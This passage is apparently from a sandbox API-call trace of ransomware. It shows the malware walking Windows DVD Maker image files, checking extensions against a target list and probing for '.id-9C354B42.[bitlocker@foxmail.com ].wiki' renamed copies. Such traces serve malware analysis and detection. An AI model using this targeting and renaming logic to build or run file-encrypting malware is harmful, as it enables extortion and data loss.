Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.869] lstrlenW (lpString=".doc") returned 4 [0184.869] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.869] lstrlenW (lpString=".docx") returned 5 [0184.869] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0184.869] lstrlenW (lpString=".pdf") returned 4 [0184.869] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.869] lstrlenW (lpString=".xls") returned 4 [0184.869] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.869] lstrlenW (lpString=".xlsx") returned 5 [0184.869] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0184.869] lstrlenW (lpString=".ppt") returned 4 [0184.869] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.869] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.869] lstrlenW (lpString=".zip") returned 4 [0184.869] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.869] lstrlenW (lpString=".rar") returned 4 [0184.869] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.869] lstrlenW (lpString=".bz2") returned 4 [0184.869] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.869] lstrlenW (lpString=".7z") returned 3 [0184.869] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.869] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.869] lstrlenW (lpString=".dbf") returned 4 [0184.869] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.869] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.869] lstrlenW (lpString=".1cd") returned 4 [0184.869] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.869] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.869] lstrlenW (lpString=".jpg") returned 4 [0184.870] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.870] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.870] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.870] lstrlenW (lpString=".doc") returned 4 [0184.870] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.870] lstrlenW (lpString=".docx") returned 5 [0184.870] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0184.870] lstrlenW (lpString=".pdf") returned 4 [0184.870] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.870] lstrlenW (lpString=".xls") returned 4 [0184.870] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.870] lstrlenW (lpString=".xlsx") returned 5 [0184.870] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0184.870] lstrlenW (lpString=".ppt") returned 4 [0184.870] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.870] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.870] lstrlenW (lpString=".zip") returned 4 [0184.870] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.870] lstrlenW (lpString=".rar") returned 4 [0184.870] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.870] lstrlenW (lpString=".bz2") returned 4 [0184.870] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.870] lstrlenW (lpString=".7z") returned 3 [0184.870] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.870] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.870] lstrlenW (lpString=".dbf") returned 4 [0184.870] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.870] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.870] lstrlenW (lpString=".1cd") returned 4 [0184.870] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.871] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.871] lstrlenW (lpString=".jpg") returned 4 [0184.871] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.871] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.871] lstrlenW (lpString="btn-back-static.png") returned 19 [0184.871] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.101] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8509) returned 1 [0185.102] CloseHandle (hObject=0x1d0) returned 1 [0185.102] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0185.102] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.102] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.102] lstrlenW (lpString=".doc") returned 4 [0185.102] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.102] lstrlenW (lpString=".docx") returned 5 [0185.102] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0185.102] lstrlenW (lpString=".pdf") returned 4 [0185.102] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.102] lstrlenW (lpString=".xls") returned 4 [0185.102] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.102] lstrlenW (lpString=".xlsx") returned 5 [0185.102] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0185.102] lstrlenW (lpString=".ppt") returned 4 [0185.102] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.102] lstrlenW (lpString=".zip") returned 4 [0185.102] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.102] lstrlenW (lpString=".rar") returned 4 [0185.102] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.103] lstrlenW (lpString=".bz2") returned 4 [0185.103] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.103] lstrlenW (lpString=".7z") returned 3 [0185.103] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.103] lstrlenW (lpString=".dbf") returned 4 [0185.103] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.103] lstrlenW (lpString=".1cd") returned 4 [0185.103] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.103] lstrlenW (lpString=".jpg") returned 4 [0185.103] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.103] lstrlenW (lpString=".doc") returned 4 [0185.103] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.103] lstrlenW (lpString=".docx") returned 5 [0185.103] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0185.103] lstrlenW (lpString=".pdf") returned 4 [0185.103] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.103] lstrlenW (lpString=".xls") returned 4 [0185.103] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.103] lstrlenW (lpString=".xlsx") returned 5 [0185.103] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0185.103] lstrlenW (lpString=".ppt") returned 4 [0185.103] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.104] lstrlenW (lpString=".zip") returned 4 [0185.104] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.104] lstrlenW (lpString=".rar") returned 4 [0185.104] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.104] lstrlenW (lpString=".bz2") returned 4 [0185.104] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.104] lstrlenW (lpString=".7z") returned 3 [0185.104] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.104] lstrlenW (lpString=".dbf") returned 4 [0185.104] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.104] lstrlenW (lpString=".1cd") returned 4 [0185.104] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned 70 [0185.104] lstrlenW (lpString=".jpg") returned 4 [0185.104] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.104] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0185.104] lstrlenW (lpString="btn-next-static.png") returned 19 [0185.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.105] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8120) returned 1 [0185.105] CloseHandle (hObject=0x1d0) returned 1 [0185.105] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0185.105] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.105] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.105] lstrlenW (lpString=".doc") returned 4 [0185.105] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.105] lstrlenW (lpString=".docx") returned 5 [0185.105] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0185.105] lstrlenW (lpString=".pdf") returned 4 [0185.105] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.105] lstrlenW (lpString=".xls") returned 4 [0185.105] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.105] lstrlenW (lpString=".xlsx") returned 5 [0185.105] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0185.105] lstrlenW (lpString=".ppt") returned 4 [0185.105] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.105] lstrlenW (lpString=".zip") returned 4 [0185.105] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.105] lstrlenW (lpString=".rar") returned 4 [0185.105] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.105] lstrlenW (lpString=".bz2") returned 4 [0185.106] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.106] lstrlenW (lpString=".7z") returned 3 [0185.106] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.106] lstrlenW (lpString=".dbf") returned 4 [0185.106] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.106] lstrlenW (lpString=".1cd") returned 4 [0185.106] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.106] lstrlenW (lpString=".jpg") returned 4 [0185.106] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.106] lstrlenW (lpString=".doc") returned 4 [0185.106] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.106] lstrlenW (lpString=".docx") returned 5 [0185.106] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0185.106] lstrlenW (lpString=".pdf") returned 4 [0185.106] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.106] lstrlenW (lpString=".xls") returned 4 [0185.106] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.106] lstrlenW (lpString=".xlsx") returned 5 [0185.106] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0185.106] lstrlenW (lpString=".ppt") returned 4 [0185.106] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.106] lstrlenW (lpString=".zip") returned 4 [0185.106] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.106] lstrlenW (lpString=".rar") returned 4 [0185.106] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.106] lstrlenW (lpString=".bz2") returned 4 [0185.107] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.107] lstrlenW (lpString=".7z") returned 3 [0185.107] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.107] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.107] lstrlenW (lpString=".dbf") returned 4 [0185.107] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.107] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.107] lstrlenW (lpString=".1cd") returned 4 [0185.107] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.107] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned 70 [0185.107] lstrlenW (lpString=".jpg") returned 4 [0185.107] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.107] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0185.107] lstrlenW (lpString="btn-previous-static.png") returned 23 [0185.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.107] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8406) returned 1 [0185.107] CloseHandle (hObject=0x1d0) returned 1 [0185.107] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 [0185.108] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.108] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.108] lstrlenW (lpString=".doc") returned 4 [0185.108] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.108] lstrlenW (lpString=".docx") returned 5 [0185.108] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0185.108] lstrlenW (lpString=".pdf") returned 4 [0185.108] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.108] lstrlenW (lpString=".xls") returned 4 [0185.108] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.108] lstrlenW (lpString=".xlsx") returned 5 [0185.108] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0185.108] lstrlenW (lpString=".ppt") returned 4 [0185.108] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.108] lstrlenW (lpString=".zip") returned 4 [0185.108] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.108] lstrlenW (lpString=".rar") returned 4 [0185.108] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.108] lstrlenW (lpString=".bz2") returned 4 [0185.108] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.108] lstrlenW (lpString=".7z") returned 3 [0185.108] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.108] lstrlenW (lpString=".dbf") returned 4 [0185.108] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.109] lstrlenW (lpString=".1cd") returned 4 [0185.109] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.109] lstrlenW (lpString=".jpg") returned 4 [0185.109] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.109] lstrlenW (lpString=".doc") returned 4 [0185.109] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.109] lstrlenW (lpString=".docx") returned 5 [0185.109] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0185.109] lstrlenW (lpString=".pdf") returned 4 [0185.109] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.109] lstrlenW (lpString=".xls") returned 4 [0185.109] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.109] lstrlenW (lpString=".xlsx") returned 5 [0185.109] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0185.109] lstrlenW (lpString=".ppt") returned 4 [0185.109] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.109] lstrlenW (lpString=".zip") returned 4 [0185.109] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.109] lstrlenW (lpString=".rar") returned 4 [0185.109] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.109] lstrlenW (lpString=".bz2") returned 4 [0185.109] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.109] lstrlenW (lpString=".7z") returned 3 [0185.109] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.109] lstrlenW (lpString=".dbf") returned 4 [0185.109] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.109] lstrlenW (lpString=".1cd") returned 4 [0185.110] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.110] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned 74 [0185.110] lstrlenW (lpString=".jpg") returned 4 [0185.110] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.110] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0185.110] lstrlenW (lpString="button-bullet.png") returned 17 [0185.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.110] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=962) returned 1 [0185.110] CloseHandle (hObject=0x1d0) returned 1 [0185.110] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0185.110] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.111] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.111] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.111] lstrlenW (lpString=".doc") returned 4 [0185.111] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.111] lstrlenW (lpString=".docx") returned 5 [0185.111] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0185.111] lstrlenW (lpString=".pdf") returned 4 [0185.111] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.111] lstrlenW (lpString=".xls") returned 4 [0185.111] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.111] lstrlenW (lpString=".xlsx") returned 5 [0185.111] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0185.111] lstrlenW (lpString=".ppt") returned 4 [0185.111] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.111] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.111] lstrlenW (lpString=".zip") returned 4 [0185.111] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.111] lstrlenW (lpString=".rar") returned 4 [0185.111] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.111] lstrlenW (lpString=".bz2") returned 4 [0185.111] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.111] lstrlenW (lpString=".7z") returned 3 [0185.111] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.111] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.111] lstrlenW (lpString=".dbf") returned 4 [0185.111] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.111] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.111] lstrlenW (lpString=".1cd") returned 4 [0185.111] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.111] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.112] lstrlenW (lpString=".jpg") returned 4 [0185.112] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.112] lstrlenW (lpString=".doc") returned 4 [0185.112] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.112] lstrlenW (lpString=".docx") returned 5 [0185.112] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0185.112] lstrlenW (lpString=".pdf") returned 4 [0185.112] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned 